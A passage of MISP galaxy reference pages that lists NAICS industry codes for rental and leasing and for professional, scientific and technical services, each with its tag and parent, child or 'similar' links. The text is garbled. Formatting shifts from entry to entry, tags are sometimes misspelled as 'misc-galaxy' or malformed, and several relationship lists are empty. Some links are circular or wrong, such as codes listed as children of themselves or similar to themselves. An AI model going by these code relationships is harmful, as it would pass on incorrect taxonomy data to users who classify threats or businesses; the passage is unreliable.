- child-of: misp-galaxy:naics="5313" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="53139" with estimative-language:likelihood-probability="likely"
532

Rental and Leasing Services

The tag is: misp-galaxy:naics="532"

View relationships graph

532 has relationships with:

- child-of: misp-galaxy:naics="53" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5322" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5323" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5324" with estimative-language:likelihood-probability="likely"

5321

Automotive Equipment Rental and Leasing

The tag is: misp-galaxy:naics="5321"

View relationships graph

5321 has relationships with:

- child-of: misp-galaxy:naics="532" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="53211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="532111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="532112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="53212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="532120" with estimative-language:likelihood-probability="likely"

53211

Passenger Car Rental and Leasing

The tag is: misp-galaxy:naics="53211"

View relationships graph

53211 has relationships with:

- child-of: misp-galaxy:naics="5321" with estimative-language:likelihood-probability="likely"
532111
Passenger Car Rental
The tag is: misp-galaxy:naics="532111"

View relationships graph

532111 has relationships with:
• child-of: misp-galaxy:naics="5321" with estimative-language:likelihood-probability="likely"

532112
Passenger Car Leasing
The tag is: misp-galaxy:naics="532112"

View relationships graph

532112 has relationships with:
• child-of: misp-galaxy:naics="5321" with estimative-language:likelihood-probability="likely"

53212
Truck, Utility Trailer, and RV (Recreational Vehicle) Rental and Leasing
The tag is: misp-galaxy:naics="53212"

View relationships graph

53212 has relationships with:
• child-of: misp-galaxy:naics="5321" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="532120" with estimative-language:likelihood-probability="likely"

532120
Truck, Utility Trailer, and RV (Recreational Vehicle) Rental and Leasing
The tag is: misp-galaxy:naics="532120"

View relationships graph

532120 has relationships with:
• child-of: misp-galaxy:naics="5321" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="53212" with estimative-language:likelihood-probability="likely"
5322

Consumer Goods Rental

The tag is: `misp-galaxy:naics="5322"`

View relationships graph

5322 has relationships with:

- child-of: `misp-galaxy:naics="532"` with `estimative-language:likelihood-probability="likely"`
- parent-of: `misp-galaxy:naics="53221"` with `estimative-language:likelihood-probability="likely"`
- parent-of: `misp-galaxy:naics="532210"` with `estimative-language:likelihood-probability="likely"`
- parent-of: `misp-galaxy:naics="53228"` with `estimative-language:likelihood-probability="likely"`
- parent-of: `misp-galaxy:naics="532281"` with `estimative-language:likelihood-probability="likely"`
- parent-of: `misp-galaxy:naics="532282"` with `estimative-language:likelihood-probability="likely"`
- parent-of: `misp-galaxy:naics="532283"` with `estimative-language:likelihood-probability="likely"`
- parent-of: `misp-galaxy:naics="532284"` with `estimative-language:likelihood-probability="likely"`
- parent-of: `misp-galaxy:naics="532289"` with `estimative-language:likelihood-probability="likely"

53221

Consumer Electronics and Appliances Rental

The tag is: `misp-galaxy:naics="53221"`

View relationships graph

53221 has relationships with:

- child-of: `misp-galaxy:naics="532"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:naics="532210"` with `estimative-language:likelihood-probability="likely"

532210

Consumer Electronics and Appliances Rental

The tag is: `misp-galaxy:naics="532210"`

View relationships graph

532210 has relationships with:

- child-of: `misp-galaxy:naics="532"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:naics="53221"` with `estimative-language:likelihood-probability="likely"`
53228
Other Consumer Goods Rental
The tag is: misp-galaxy:naics="53228"

View relationships graph

53228 has relationships with:

• child-of: misp-galaxy:naics="5322" with estimative-language:likelihood-probability="likely"

532281
Formal Wear and Costume Rental
The tag is: misp-galaxy:naics="532281"

View relationships graph

532281 has relationships with:

• child-of: misp-galaxy:naics="5322" with estimative-language:likelihood-probability="likely"

532282
Video Tape and Disc Rental
The tag is: misp-galaxy:naics="532282"

View relationships graph

532282 has relationships with:

• child-of: misp-galaxy:naics="5322" with estimative-language:likelihood-probability="likely"

532283
Home Health Equipment Rental
The tag is: misp-galaxy:naics="532283"

View relationships graph

532283 has relationships with:

• child-of: misp-galaxy:naics="5322" with estimative-language:likelihood-probability="likely"
532284
Recreational Goods Rental
The tag is: misp-galaxy:naics="532284"
View relationships graph
532284 has relationships with:
  • child-of: misp-galaxy:naics="5322" with estimative-language:likelihood-probability="likely"

532289
All Other Consumer Goods Rental
The tag is: misp-galaxy:naics="532289"
View relationships graph
532289 has relationships with:
  • child-of: misp-galaxy:naics="5322" with estimative-language:likelihood-probability="likely"

5323
General Rental Centers
The tag is: misp-galaxy:naics="5323"
View relationships graph
5323 has relationships with:
  • child-of: misp-galaxy:naics="532" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="53231" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="532310" with estimative-language:likelihood-probability="likely"

53231
General Rental Centers
The tag is: misp-galaxy:naics="53231"
View relationships graph
53231 has relationships with:
  • child-of: misp-galaxy:naics="5323" with estimative-language:likelihood-probability="likely"
532310
General Rental Centers
The tag is: misp-galaxy:naics="532310"
View relationships graph
532310 has relationships with:
  • similar: misp-galaxy:naics="532310" with estimative-language:likelihood-probability="likely"

5324
Commercial and Industrial Machinery and Equipment Rental and Leasing
The tag is: misp-galaxy:naics="5324"
View relationships graph
5324 has relationships with:
  • child-of: misp-galaxy:naics="5324" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="53241" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="532411" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="532412" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="53242" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="532420" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="53249" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="532490" with estimative-language:likelihood-probability="likely"

53241
Construction, Transportation, Mining, and Forestry Machinery and Equipment Rental and Leasing
The tag is: misp-galaxy:naics="53241"
View relationships graph
53241 has relationships with:
  • child-of: misp-galaxy:naics="53241" with estimative-language:likelihood-probability="likely"
532411
Commercial Air, Rail, and Water Transportation Equipment Rental and Leasing
The tag is: misp-galaxy:naics="532411"
View relationships graph
532411 has relationships with:
• child-of: misp-galaxy:naics="5324" with estimative-language:likelihood-probability="likely"

532412
Construction, Mining, and Forestry Machinery and Equipment Rental and Leasing
The tag is: misp-galaxy:naics="532412"
View relationships graph
532412 has relationships with:
• child-of: misp-galaxy:naics="5324" with estimative-language:likelihood-probability="likely"

53242
Office Machinery and Equipment Rental and Leasing
The tag is: misp-galaxy:naics="53242"
View relationships graph
53242 has relationships with:
• child-of: misp-galaxy:naics="5324" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="532420" with estimative-language:likelihood-probability="likely"

532420
Office Machinery and Equipment Rental and Leasing
The tag is: misp-galaxy:naics="532420"
View relationships graph
532420 has relationships with:
• child-of: misp-galaxy:naics="5324" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="53242" with estimative-language:likelihood-probability="likely"
53249
Other Commercial and Industrial Machinery and Equipment Rental and Leasing
The tag is: misp-galaxy:naics="53249"

View relationships graph

53249 has relationships with:

- child-of: misp-galaxy:naics="5324" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="532490" with estimative-language:likelihood-probability="likely"

532490
Other Commercial and Industrial Machinery and Equipment Rental and Leasing
The tag is: misp-galaxy:naics="532490"

View relationships graph

532490 has relationships with:

- child-of: misp-galaxy:naics="5324" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="53249" with estimative-language:likelihood-probability="likely"

533
Lessors of Nonfinancial Intangible Assets (except Copyrighted Works)
The tag is: misp-galaxy:naics="533"

View relationships graph

533 has relationships with:

- child-of: misp-galaxy:naics="53" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5331" with estimative-language:likelihood-probability="likely"

5331
Lessors of Nonfinancial Intangible Assets (except Copyrighted Works)
The tag is: misp-galaxy:naics="5331"

View relationships graph

5331 has relationships with:
• child-of: misp-galaxy:naics="533" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="53311" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="533110" with estimative-language:likelihood-probability="likely"

53311

Lessors of Nonfinancial Intangible Assets (except Copyrighted Works)

The tag is: misp-galaxy:naics="53311"

View relationships graph

53311 has relationships with:

• child-of: misp-galaxy:naics="5331" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="533110" with estimative-language:likelihood-probability="likely"

533110

Lessors of Nonfinancial Intangible Assets (except Copyrighted Works)

The tag is: misp-galaxy:naics="533110"

View relationships graph

533110 has relationships with:

• child-of: misp-galaxy:naics="5331" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="53311" with estimative-language:likelihood-probability="likely"

54

Professional, Scientific, and Technical Services

The tag is: misp-galaxy:naics="54"

View relationships graph

54 has relationships with:

• parent-of: misp-galaxy:naics="541" with estimative-language:likelihood-probability="likely"

541

Professional, Scientific, and Technical Services

The tag is: misp-galaxy:naics="541"
View relationships graph

541 has relationships with:

- child-of: misp-galaxy:naics="54" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5412" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5414" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5415" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5416" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5417" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5418" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5419" with estimative-language:likelihood-probability="likely"

5411

Legal Services

The tag is: misp-galaxy:naics="5411"

View relationships graph

5411 has relationships with:

- child-of: misp-galaxy:naics="541" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54119" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541191" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541199" with estimative-language:likelihood-probability="likely"

54111

Offices of Lawyers

The tag is: misp-galaxy:naics="54111"

View relationships graph

54111 has relationships with:
• child-of: misp-galaxy:naics="5411" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="541110" with estimative-language:likelihood-probability="likely"

541110
Offices of Lawyers
The tag is: misp-galaxy:naics="541110"

View relationships graph

541110 has relationships with:
  • child-of: misp-galaxy:naics="5411" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="541110" with estimative-language:likelihood-probability="likely"

54112
Offices of Notaries
The tag is: misp-galaxy:naics="54112"

View relationships graph

54112 has relationships with:
  • child-of: misp-galaxy:naics="5411" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="541120" with estimative-language:likelihood-probability="likely"

541120
Offices of Notaries
The tag is: misp-galaxy:naics="541120"

View relationships graph

541120 has relationships with:
  • child-of: misp-galaxy:naics="5411" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="541120" with estimative-language:likelihood-probability="likely"

54119
Other Legal Services
The tag is: misp-galaxy:naics="54119"
54119 has relationships with:

- child-of: misp-galaxy:naics="5411" with estimative-language:likelihood-probability="likely"

541191
Title Abstract and Settlement Offices
The tag is: misp-galaxy:naics="541191"

541199
All Other Legal Services
The tag is: misp-galaxy:naics="541199"

5412
Accounting, Tax Preparation, Bookkeeping, and Payroll Services
The tag is: misp-galaxy:naics="5412"
54121
Accounting, Tax Preparation, Bookkeeping, and Payroll Services
The tag is: misp-galaxy:naics="54121"

View relationships graph

54121 has relationships with:
  • child-of: misp-galaxy:naics="5412" with estimative-language:likelihood-probability="likely"

541211
Offices of Certified Public Accountants
The tag is: misp-galaxy:naics="541211"

View relationships graph

541211 has relationships with:
  • child-of: misp-galaxy:naics="5412" with estimative-language:likelihood-probability="likely"

541213
Tax Preparation Services
The tag is: misp-galaxy:naics="541213"

View relationships graph

541213 has relationships with:
  • child-of: misp-galaxy:naics="5412" with estimative-language:likelihood-probability="likely"

541214
Payroll Services
The tag is: misp-galaxy:naics="541214"

View relationships graph

541214 has relationships with:
  • child-of: misp-galaxy:naics="5412" with estimative-language:likelihood-probability="likely"
541219
Other Accounting Services
The tag is: misp-galaxy:naics="541219"

View relationships graph

541219 has relationships with:

- child-of: misp-galaxy:naics="5412" with estimative-language:likelihood-probability="likely"

5413
Architectural, Engineering, and Related Services
The tag is: misp-galaxy:naics="5413"

View relationships graph

5413 has relationships with:

- child-of: misp-galaxy:naics="541" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54132" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541320" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541330" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54134" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541340" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54135" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541350" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54136" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541360" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54137" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541370" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54138" with estimative-language:likelihood-probability="likely"
54131
Architectural Services
The tag is: misp-galaxy:naics="54131"
View relationships graph
54131 has relationships with:
  • child-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="541310" with estimative-language:likelihood-probability="likely"

541310
Architectural Services
The tag is: misp-galaxy:naics="541310"
View relationships graph
541310 has relationships with:
  • child-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="54131" with estimative-language:likelihood-probability="likely"

54132
Landscape Architectural Services
The tag is: misp-galaxy:naics="54132"
View relationships graph
54132 has relationships with:
  • child-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="541320" with estimative-language:likelihood-probability="likely"

541320
Landscape Architectural Services
The tag is: misp-galaxy:naics="541320"
View relationships graph
541320 has relationships with:
• child-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="54132" with estimative-language:likelihood-probability="likely"

54133
Engineering Services
The tag is: misp-galaxy:naics="54133"

View relationships graph

54133 has relationships with:
• child-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="541330" with estimative-language:likelihood-probability="likely"

541330
Engineering Services
The tag is: misp-galaxy:naics="541330"

View relationships graph

541330 has relationships with:
• child-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="54133" with estimative-language:likelihood-probability="likely"

54134
Drafting Services
The tag is: misp-galaxy:naics="54134"

View relationships graph

54134 has relationships with:
• child-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="541330" with estimative-language:likelihood-probability="likely"

541340
Drafting Services
The tag is: misp-galaxy:naics="541340"
541340 has relationships with:

- child-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54134" with estimative-language:likelihood-probability="likely"

54135

Building Inspection Services

The tag is: misp-galaxy:naics="54135"

541350

Building Inspection Services

The tag is: misp-galaxy:naics="541350"

54136

Geophysical Surveying and Mapping Services

The tag is: misp-galaxy:naics="54136"
541360
Geophysical Surveying and Mapping Services
The tag is: misp-galaxy:naics="541360"
View relationships graph
541360 has relationships with:
• child-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="54136" with estimative-language:likelihood-probability="likely"

54137
Surveying and Mapping (except Geophysical) Services
The tag is: misp-galaxy:naics="54137"
View relationships graph
54137 has relationships with:
• child-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="541370" with estimative-language:likelihood-probability="likely"

541370
Surveying and Mapping (except Geophysical) Services
The tag is: misp-galaxy:naics="541370"
View relationships graph
541370 has relationships with:
• child-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="54137" with estimative-language:likelihood-probability="likely"

54138
Testing Laboratories and Services
The tag is: misp-galaxy:naics="54138"
View relationships graph
54138 has relationships with:
541380

Testing Laboratories and Services

The tag is: misp-galaxy:naics="541380"

View relationships graph

541380 has relationships with:

- child-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541380" with estimative-language:likelihood-probability="likely"

5414

Specialized Design Services

The tag is: misp-galaxy:naics="5414"

View relationships graph

5414 has relationships with:

- child-of: misp-galaxy:naics="541" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54141" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541410" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54142" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541420" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541430" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54149" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541490" with estimative-language:likelihood-probability="likely"

54141

Interior Design Services

The tag is: misp-galaxy:naics="54141"

View relationships graph

54141 has relationships with:
541410
Interior Design Services

The tag is: *misp-galaxy:naics="541410"

View relationships graph

541410 has relationships with:

- child-of: *misp-galaxy:naics="5414" with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics="541410" with estimative-language:likelihood-probability="likely"

54142
Industrial Design Services

The tag is: *misp-galaxy:naics="54142"

View relationships graph

54142 has relationships with:

- child-of: *misp-galaxy:naics="5414" with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics="541420" with estimative-language:likelihood-probability="likely"

541420
Industrial Design Services

The tag is: *misp-galaxy:naics="541420"

View relationships graph

541420 has relationships with:

- child-of: *misp-galaxy:naics="5414" with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics="541420" with estimative-language:likelihood-probability="likely"

54143
Graphic Design Services

The tag is: *misp-galaxy:naics="54143"
54143 has relationships with:

- child-of: misp-galaxy:naics="5414" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541430" with estimative-language:likelihood-probability="likely"

**541430**

Graphic Design Services

The tag is: misp-galaxy:naics="541430"

541430 has relationships with:

- child-of: misp-galaxy:naics="5414" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54143" with estimative-language:likelihood-probability="likely"

**54149**

Other Specialized Design Services

The tag is: misp-galaxy:naics="54149"

54149 has relationships with:

- child-of: misp-galaxy:naics="5414" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541490" with estimative-language:likelihood-probability="likely"

**541490**

Other Specialized Design Services

The tag is: misp-galaxy:naics="541490"

541490 has relationships with:

- child-of: misp-galaxy:naics="5414" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54149" with estimative-language:likelihood-probability="likely"
5415

Computer Systems Design and Related Services

The tag is: misp-galaxy:naics="5415"

View relationships graph

5415 has relationships with:

- child-of: misp-galaxy:naics="541" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54151" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541511" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541513" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541519" with estimative-language:likelihood-probability="likely"

54151

Computer Systems Design and Related Services

The tag is: misp-galaxy:naics="54151"

View relationships graph

54151 has relationships with:

- child-of: misp-galaxy:naics="5415" with estimative-language:likelihood-probability="likely"

541511

Custom Computer Programming Services

The tag is: misp-galaxy:naics="541511"

View relationships graph

541511 has relationships with:

- child-of: misp-galaxy:naics="5415" with estimative-language:likelihood-probability="likely"

541512

Computer Systems Design Services

The tag is: misp-galaxy:naics="541512"

View relationships graph
541512 has relationships with:

- child-of: misp-galaxy:naics="5415" with estimative-language:likelihood-probability="likely"

541513

Computer Facilities Management Services

The tag is: misp-galaxy:naics="541513"

View relationships graph

541513 has relationships with:

- child-of: misp-galaxy:naics="5415" with estimative-language:likelihood-probability="likely"

541519

Other Computer Related Services

The tag is: misp-galaxy:naics="541519"

View relationships graph

541519 has relationships with:

- child-of: misp-galaxy:naics="5415" with estimative-language:likelihood-probability="likely"

5416

Management, Scientific, and Technical Consulting Services

The tag is: misp-galaxy:naics="5416"

View relationships graph

5416 has relationships with:

- child-of: misp-galaxy:naics="541" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54161" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541612" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541613" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541614" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541618" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54162" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541620" with estimative-language:likelihood-probability="likely"
54161
Management Consulting Services
The tag is: `misp-galaxy:naics="54161"`
View relationships graph
54161 has relationships with:
  - child-of: `misp-galaxy:naics="5416"` with estimative-language:likelihood-probability="likely"

541611
Administrative Management and General Management Consulting Services
The tag is: `misp-galaxy:naics="541611"`
View relationships graph
541611 has relationships with:
  - child-of: `misp-galaxy:naics="5416"` with estimative-language:likelihood-probability="likely"

541612
Human Resources Consulting Services
The tag is: `misp-galaxy:naics="541612"`
View relationships graph
541612 has relationships with:
  - child-of: `misp-galaxy:naics="5416"` with estimative-language:likelihood-probability="likely"

541613
Marketing Consulting Services
The tag is: `misp-galaxy:naics="541613"`
View relationships graph
541613 has relationships with:
  - child-of: `misp-galaxy:naics="5416"` with estimative-language:likelihood-probability="likely"
541614
Process, Physical Distribution, and Logistics Consulting Services
The tag is: misp-galaxy:naics="541614"
View relationships graph
541614 has relationships with:
  • child-of: misp-galaxy:naics="5416" with estimative-language:likelihood-probability="likely"

541618
Other Management Consulting Services
The tag is: misp-galaxy:naics="541618"
View relationships graph
541618 has relationships with:
  • child-of: misp-galaxy:naics="5416" with estimative-language:likelihood-probability="likely"

54162
Environmental Consulting Services
The tag is: misp-galaxy:naics="54162"
View relationships graph
54162 has relationships with:
  • child-of: misp-galaxy:naics="5416" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="541620" with estimative-language:likelihood-probability="likely"

541620
Environmental Consulting Services
The tag is: misp-galaxy:naics="541620"
View relationships graph
541620 has relationships with:
  • child-of: misp-galaxy:naics="5416" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="54162" with estimative-language:likelihood-probability="likely"
**54169**

Other Scientific and Technical Consulting Services

The tag is: `misp-galaxy:naics="54169"`

View relationships graph

54169 has relationships with:

- child-of: `misp-galaxy:naics="5416"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="541690"` with estimative-language:likelihood-probability="likely"

**541690**

Other Scientific and Technical Consulting Services

The tag is: `misp-galaxy:naics="541690"`

View relationships graph

541690 has relationships with:

- child-of: `misp-galaxy:naics="5416"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="54169"` with estimative-language:likelihood-probability="likely"

**5417**

Scientific Research and Development Services

The tag is: `misp-galaxy:naics="5417"`

View relationships graph

5417 has relationships with:

- child-of: `misp-galaxy:naics="541"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="54171"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="541713"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="541714"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="541715"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="541720"` with estimative-language:likelihood-probability="likely"
54171
Research and Development in the Physical, Engineering, and Life Sciences
The tag is: misp-galaxy:naics="54171"
View relationships graph
54171 has relationships with:
  • child-of: misp-galaxy:naics="5417" with estimative-language:likelihood-probability="likely"

541713
Research and Development in Nanotechnology
The tag is: misp-galaxy:naics="541713"
View relationships graph
541713 has relationships with:
  • child-of: misp-galaxy:naics="5417" with estimative-language:likelihood-probability="likely"

541714
Research and Development in Biotechnology (except Nanobiotechnology)
The tag is: misp-galaxy:naics="541714"
View relationships graph
541714 has relationships with:
  • child-of: misp-galaxy:naics="5417" with estimative-language:likelihood-probability="likely"

541715
Research and Development in the Physical, Engineering, and Life Sciences (except Nanotechnology and Biotechnology)
The tag is: misp-galaxy:naics="541715"
View relationships graph
541715 has relationships with:
  • child-of: misp-galaxy:naics="5417" with estimative-language:likelihood-probability="likely"
54172
Research and Development in the Social Sciences and Humanities
The tag is: misc-galaxy:naics="54172"

View relationships graph

54172 has relationships with:

• child-of: misc-galaxy:naics="5417" with estimative-language:likelihood-probability="likely"
• similar: misc-galaxy:naics="541720" with estimative-language:likelihood-probability="likely"

541720
Research and Development in the Social Sciences and Humanities
The tag is: misc-galaxy:naics="541720"

View relationships graph

541720 has relationships with:

• child-of: misc-galaxy:naics="5417" with estimative-language:likelihood-probability="likely"
• similar: misc-galaxy:naics="54172" with estimative-language:likelihood-probability="likely"

5418
Advertising, Public Relations, and Related Services
The tag is: misc-galaxy:naics="5418"

View relationships graph

5418 has relationships with:

• child-of: misc-galaxy:naics="541" with estimative-language:likelihood-probability="likely"
• parent-of: misc-galaxy:naics="54181" with estimative-language:likelihood-probability="likely"
• parent-of: misc-galaxy:naics="541810" with estimative-language:likelihood-probability="likely"
• parent-of: misc-galaxy:naics="54182" with estimative-language:likelihood-probability="likely"
• parent-of: misc-galaxy:naics="541820" with estimative-language:likelihood-probability="likely"
• parent-of: misc-galaxy:naics="54183" with estimative-language:likelihood-probability="likely"
• parent-of: misc-galaxy:naics="541830" with estimative-language:likelihood-probability="likely"
• parent-of: misc-galaxy:naics="54184" with estimative-language:likelihood-probability="likely"
• parent-of: misc-galaxy:naics="541840" with estimative-language:likelihood-probability="likely"
54181
Advertising Agencies
The tag is: *misp-galaxy:naics"=54181"

View relationships graph

54181 has relationships with:

- child-of: *misp-galaxy:naics"=5418"
- similar: *misp-galaxy:naics"=541810"

541810
Advertising Agencies
The tag is: *misp-galaxy:naics"=541810"

View relationships graph

541810 has relationships with:

- child-of: *misp-galaxy:naics"=5418"
- similar: *misp-galaxy:naics"=54181"

54182
Public Relations Agencies
The tag is: *misp-galaxy:naics"=54182"

View relationships graph

54182 has relationships with:

- child-of: *misp-galaxy:naics"=5418"
• similar: misp-galaxy:naics="541820" with estimative-language:likelihood-probability="likely"

541820
Public Relations Agencies
The tag is: misp-galaxy:naics="541820"
View relationships graph

541820 has relationships with:
• child-of: misp-galaxy:naics="5418" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="54182" with estimative-language:likelihood-probability="likely"

54183
Media Buying Agencies
The tag is: misp-galaxy:naics="54183"
View relationships graph

54183 has relationships with:
• child-of: misp-galaxy:naics="5418" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="541830" with estimative-language:likelihood-probability="likely"

541830
Media Buying Agencies
The tag is: misp-galaxy:naics="541830"
View relationships graph

541830 has relationships with:
• child-of: misp-galaxy:naics="5418" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="54183" with estimative-language:likelihood-probability="likely"

54184
Media Representatives
The tag is: misp-galaxy:naics="54184"
View relationships graph
54184 has relationships with:

- child-of: misp-galaxy:naics="5418" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541840" with estimative-language:likelihood-probability="likely"

### 541840

Media Representatives

The tag is: misp-galaxy:naics="541840"

View relationships graph

541840 has relationships with:

- child-of: misp-galaxy:naics="5418" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54184" with estimative-language:likelihood-probability="likely"

### 54185

Indoor and Outdoor Display Advertising

The tag is: misp-galaxy:naics="54185"

View relationships graph

54185 has relationships with:

- child-of: misp-galaxy:naics="5418" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541850" with estimative-language:likelihood-probability="likely"

### 541850

Indoor and Outdoor Display Advertising

The tag is: misp-galaxy:naics="541850"

View relationships graph

541850 has relationships with:

- child-of: misp-galaxy:naics="5418" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54185" with estimative-language:likelihood-probability="likely"

### 54186

